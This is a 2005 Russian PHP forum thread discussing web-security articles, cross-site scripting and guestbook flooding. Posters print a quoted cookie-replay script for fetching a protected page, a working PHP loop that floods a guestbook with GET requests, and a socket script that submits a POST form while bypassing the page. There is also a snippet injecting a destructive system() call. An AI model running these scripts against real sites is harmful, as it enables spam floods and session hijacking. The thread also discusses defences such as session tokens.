|
|
|
| Прочитал все эти статьи не отрываясь, если честно :) Просто супер, классная инфа. Просьба давать ссылки в форуме на ваши новые статьи, а то не прочитал бы этот топик - не прочитал бы и эти статьи...
И сразу есть вопросы:
- как можно узнать названия полей формы гостевой книги (если их узнают, уже можно подвергнуться атаке флудом...); и, допустим, их получили злоумышленники, но как после этого одним скриптом отослать тысячу таких форм...? Если возможно, подскажите как, хочу протестить свою гост. книгу
- можно как-то узнать названия всех файлов на сервере (имеется в виду директория, где лежит определенный сайт со всеми поддиректориями); можно, конечно в гост. книге этого сайта (если теги не удаляются) дать ссылку на скрипт, выдающий имена всех этих файлов (но сработает ли он..?). Есть еще варианты? (просто многие хранят пароли в текстовых файлах без шифрования)
- в статье "Анатомия межсайтового скриптинга" я не понял как работает вот этот скрипт:
"В следующем примере скрипт атакующего использует cookie для получения исходного кода защищенной веб-страницы:"
<?php
$request = "GET /secret.php HTTP/1.0\r\n";
$request .= "Cookie: {$HTTP_GET_VARS['c']}\r\n";
$request .= "\r\n";
$s = fsockopen("host", 80, $errno, $errstr, 30);
fputs($s, $request);
$content = '';
while (!feof($s))
{
$content .= fgets($s, 4096);
}
fclose($s);
echo $content;
?>
|
а именно, первые 4 строчки... Кто знает, подскажите, плиз.
И неужели по аналогии можно узнать исходник любого сценария..?
Заранее благодарен | |
|
|
|
|
|
|
|
для: !!Yurchik!!
(01.02.2005 в 21:21)
| | 1) Сразу дам ссылку на предыдущую тему http://www.softtime.ru/forum/read.php?id_forum=1&id_theme=1855, а то потом люди будут читать форум и не найдут её.
2) Все статьи анансируются в форуме, в том числе и эта
http://www.softtime.ru/forum/read.php?id_forum=1&id_theme=1531
http://www.softtime.ru/forum/read.php?id_forum=1&id_theme=1377
просто темы рано или поздно быстро уползают вниз... ну наверное стоит их анансировать более громко Новая статья: безопасное программирование в PHP - в следующий раз так и будем делать.
3) Названия полей можно легко посмотреть в исходном тексте HTML-страницы - это позваляет любой браузер: в IE - правая кнопка мыши - просмотр HTML-кода. Автофлуд осуществляется при помощи сокетов - если честно не хочется пример такого кода приводить, так как для дела его использовать сложно (хотя в нашей третьей книге PHP в примерах я на примере POST запроса привожу его), лучше сосредоточится на защите - этот вид атаки блокируется при помощи сессий, когда сравнивается значение идентификатора сессии помещённое в скрытое поле в форме и идентификатора сесии в обработчике. Это можно видеть при просмотре исходного кода страницы добавления нового сообщения в нашей госетвой книге и при добавлении новой темы на форуме.
4) Названия всех файлов можно узнать если найти дыру в коде и воспользоваться ей, например для передачи на сервер зловредного кода с последующим его выполнением.
5) Нет узнать исходный код PHP-страницы по HTTP нельзя, здесь работа идёт работа с cookie. При помощи сокетов идёт отправка HTTP-заголовков серверу с последующей самостоятельной обработки ответа - т.е. скрипт действует как браузер - отправляет запрос и получает ответ - на этом построены все интелектуальные агенты: например роботы поисковых систем, которые лазят по сайтам и собирают информацию, различные сетевые игрушки, почтовые агенты и т.д. и т.п. | |
|
|
|
|
|
|
|
для: cheops
(01.02.2005 в 22:37)
| | 3) хм... Жалко, хотелось бы все-таки знать как это осуществляется... И вообще работа с сокетами для меня нечто новое, у вас есть статья по ним?
4) насколько я понял, встроить код РНР можно используя дыру в скрипте + метод передачи должен быть GET? Ведь с POST можно лишь добиться передачи данных в свой скрипт
5) опять сокеты... этот пробел в моих знаниях нужно заполнять... | |
|
|
|
|
|
|
|
для: !!Yurchik!!
(02.02.2005 в 00:04)
| | Сокеты — библиотека функций, реализуемая операционной системой для установки сетевых соединений. Эта библиотека позволяет осуществлять работу с сетью на прикладном уровне, в том числе и из скриптов. Если реализуется клиентская часть, то вы отсылаете запросы серверу и получаете ответы. Вид запросов, ответов, порядок их следования и реакция на них называется протоколом. Протоколов очень много и они подразделяются на целые классы. Web-программисты работают с прикладными протоколами. FTP для передачи файлов, SMTP и IMAP для работы с почтой, HTTP для передачи и получения HTML-страниц (это методы GET и POST, существуют ещё методы, но они менее распространены). Чтобы работать с сокетами нужно знать протоколы - их синтаксис и принципы работы. В настоящий момент это автоматизировано за счёт использования стандартных клиентов (браузеров) и стандартных серверов (Apache и IIS) - динамика осуществляется за счёт клиентских (JavaScript, VB) и серерных языков программирования (Perl, PHP) и для реализации сайтов не требуется писать собственный сервер на С как это было ещё 10 лет назад. Всё-таки ряд задач не обрабатываются стандартными программами (серверы, браузеры) - в этом случае прибегают к сокетам - программируют логику сетевого общения самостоятельно. Ссылки на примеры работы с сокетами можно посмотреть в ссылках по теме http://www.softtime.ru/forum/read.php?id_forum=1&id_theme=1301 | |
|
|
|
|
|
|
|
для: cheops
(02.02.2005 в 00:23)
| | Спасибо, почитал.
Но никак не покидала меня мысль про скрипт, осуществляющий флуд :)
Надеюсь, вы не удалите это сообщение, так как я ни в коем случае не хочу никому вредить с помощью таких скриптов, но все же надо знать, как это осуществляется (кстати, в статьях "Анатомия межсайтового скриптинга" и "Расширенный межсайтовый скриптинг" кроме защиты от такого рода скриптов описывают и сами эти скрипты :) ). Поэтому хочу поделиться скриптом, осуществляющим флуд (работает только в случае метода GET):
<?php
// сервер
$fhost = "localhost";
// адрес скрипта с GET-запросом
$fname_get = "/my/g_book/g_book.php?u_name=hacker&u_mail=hacker@hacker.ru&message=fix+your+site!";
// цикл отсылки сообщений
for($i=0;$i<15;$i++)
{
// открытие соединения
$fp = fsockopen($fhost, 80, $errno, $errstr, 30);
if (!$fp)
echo "$errstr ($errno)<br />\n";
else
{
// формирование GET-запроса
$out = "GET $fname_get HTTP/1.1\r\n";
$out .= "Host: $fhost\r\n";
$out .= "Connection: Close\r\n\r\n";
// запись запроса
fwrite($fp, $out);
// чтение полученных данных
while (!feof($fp))
echo fgets($fp, 128);
// закрытие соединения
fclose($fp);
}
}
?>
|
Но все же большинство гостевых книг и форумов отсылают данные POST-запросом... Сколько, блин, не пробовал, ну никак не выходит; подскажите, плиз, где ошибка :)
<?php
$fhost = "localhost";
$fname_post = "/my/g_book/g_book.php";
for($i=0;$i<15;$i++)
{
$fp = fsockopen($fhost, 80, $errno, $errstr, 30);
if (!$fp)
echo "$errstr ($errno)<br />\n";
else
{
$out = "POST $fname_post HTTP/1.1\r\n";
$out .= "Host: $fhost\r\n";
$out .= "Content-length: 5\r\n\r\n";
$out .= "yuriy";
fwrite($fp, $out);
while (!feof($fp))
echo fgets($fp, 128);
fclose($fp);
}
}
?>
|
Насколько я понял, в методе ПОСТ, блок пересылаемых данных должен находиться после маркера окончания запроса, т.е. после двух символов перевода строки. Поэтому в параметре Content-length надо точно указать, сколько байтов считывать сценарию. Я и передал строку "yuriy", но какое будет имя у этой переменной??? Пробовал $_REQUEST['yuriy'] - не работает, пробовал $out .= "yuriy yuriy"; - не работает... Плюс ко всему, как разделять переменные, ведь их нужно передать несколько...?
Заранее спасибо | |
|
|
|
|
|
|
|
для: !!Yurchik!!
(02.02.2005 в 21:59)
| | Если не лень, могу порекомендовать почитать ftp://ftp.isi.edu/in-notes/rfc2616.txt, и вообще www.w3c.org. Много полезного про веб-программирование, стандарты и т.д. | |
|
|
|
|
|
|
|
для: Timmy
(02.02.2005 в 23:28)
| | Только вот метод POST в rfc2616.txt практически не описан, почему-то :( Так в скользь общими словами говорится об нём и всё. | |
|
|
|
|
|
|
|
для: Timmy
(02.02.2005 в 23:28)
| | Ого-го... Там действительно есть что почитать... да еще и на английском... Но все равно попробую поразбираться.
P.S. я где-то тут уже сталкивался с темой на счет таких документов. Напомните, плиз, что это за документы и если кто-то помнит тот топик, дайте ссылку, плиз.
Заранее спасибо! | |
|
|
|
|
|
|
|
|
для: !!Yurchik!!
(02.02.2005 в 21:59)
| | Ладно не буду вас мучать :))) в конце концов задача красивая и всё равно будет опубликована в книге. Пусть есть HTML-форма
<form action=handler.php method=post>
Имя : <input type=text name=name><br>
Пароль : <input type=text name=pass><br>
<input type=submit name=send value=Отправить>
</form>
|
и её обработчик
<?php
echo "Имя - ".$_POST['name'];
echo "<br>Пароль - ".$_POST['pass'];
?>
|
Тогда обратится к обработчику в обход формы можно при помощи скрипта
<?php
$hostname = "localhost";
$path = "/test2/handler.php"; // Аккуратнее с именами и путями
$line = "";
// Устанавливаем соединение, имя которого
// передано в параметре $hostname
$fp = fsockopen($hostname, 80, $errno, $errstr, 30);
// Проверяем успешность установки соединения
if (!$fp) echo "$errstr ($errno)<br />\n";
else
{
// Данные HTTP-запроса
$data =
"name=".urlencode("Игорь")."&pass=".urlencode("пароль")."\r\n\r\n";
// Заголовок HTTP-запроса
$headers = "POST $path HTTP/1.1\r\n";
$headers .= "Host: $hostname\r\n";
$headers .= "Content-type: application/x-www-form-urlencoded\r\n";
$headers .= "Content-Length: ".strlen($data)."\r\n\r\n";
// Отправляем HTTP-запрос серверу
fwrite($fp, $headers.$data);
// Получаем ответ
while (!feof($fp))
{
$line .= fgets($fp, 1024);
}
fclose($fp);
}
echo $line;
?>
|
| |
|
|
|
|
|
|
|
для: cheops
(02.02.2005 в 23:35)
| | О, спасибо большое!
Хотя на первый взгляд не вижу ошибки в моем скрипте, вроде все также пробовал (ну кроме кодирования в 16-ричную систему счисления, но это ведь не обязательно делать...)
А, вот в чем дело:
$data = "name=".urlencode("Игорь")."&pass=".urlencode("пароль")."\r\n\r\n";
|
Вот как надо было сформировать запрос, теперь понятно | |
|
|
|
|
|
|
|
для: !!Yurchik!!
(03.02.2005 в 00:01)
| | Сколько не искал в поисковиках инфу по XSS, ничего хорошего так и не нашел... Может кто подскажет еще парочку интересных статей по этой теме?
Заранее благодарен.
P.S. И, к сожалению, ни в одной из этих трех статей почти ничего не сказано о вставке именно РНР-кода в чужую страницу (здесь, насколько я понимаю, уже надо искать серьезные дыры в коде, т.к. через гостевую книгу или форум РНР-код не вставишь...) | |
|
|
|
|
|
|
|
для: !!Yurchik!!
(04.02.2005 в 22:22)
| | Можно и PHP вставить - только приёмы тут немного другие, обычно прибегают к точкам и вставляют в строки оператор system, который позволяет выполнить любую команду операционной системы.
<?php
echo "text ".$name." text";
// получается
echo "text ".system("стереть всё")." text";
?>
|
Но это только в том случае, если отключен безопасный режим (не видел ни одного боевого сервера, где бы он был отключен).
Но это обычно можно не делать. Продырявить сайт очень просто, если позволить пользователям загружать на сайт что не поподя - подробности по ссылке.
http://www.softtime.ru/forum/read.php?id_forum=1&id_theme=391 | |
|
|
|
|
|
|
|
для: cheops
(04.02.2005 в 22:56)
| | Неее неправильно говоришь... не получится так выполнять системные команды...
Основной способ так называемого php code injection это когда имя файла передается к include() без проверки... | |
|
|
|
|
автор: Chipset (01.04.2005 в 20:33) |
|
|
для: cheops
(02.02.2005 в 23:35)
| | Вот самое важное в POST запросе:
$headers .= "Content-type: application/x-www-form-urlencoded\r\n"; //Важно!
$headers .= "Content-Length: ".strlen($data)."\r\n"; //Важно!
fwrite($fp, $headers.$data); // Отправляем HTTP-запрос серверу: и заголовок и тело.
В теле $data по-моему не обязательно завершать переводами строки \r\n\r\n. Я бы сказал, не нужно. | |
|
|
|
|
автор: airMike (30.06.2005 в 14:00) |
|
|
для: Chipset
(01.04.2005 в 20:33)
| | а я бы сказал, что нужно. Даже очень. У меня без этого не работает, пишет что превышен лимит строки или что-то вроде этого. | |
|
|
|
|
автор: airMike (30.06.2005 в 14:25) |
|
|
для: Chipset
(01.04.2005 в 20:33)
| | блин, ошибся... это не про $data | |
|
|
|
|
|
|
|
для: airMike
(30.06.2005 в 14:25)
| | А какие существуют методы по защите от такого флуда? | |
|
|
|
|
автор: campa (16.11.2005 в 18:04) |
|
|
для: cheops
(02.02.2005 в 23:35)
| | СПАСИТЕЛЬ!!! | |
|
|
|
|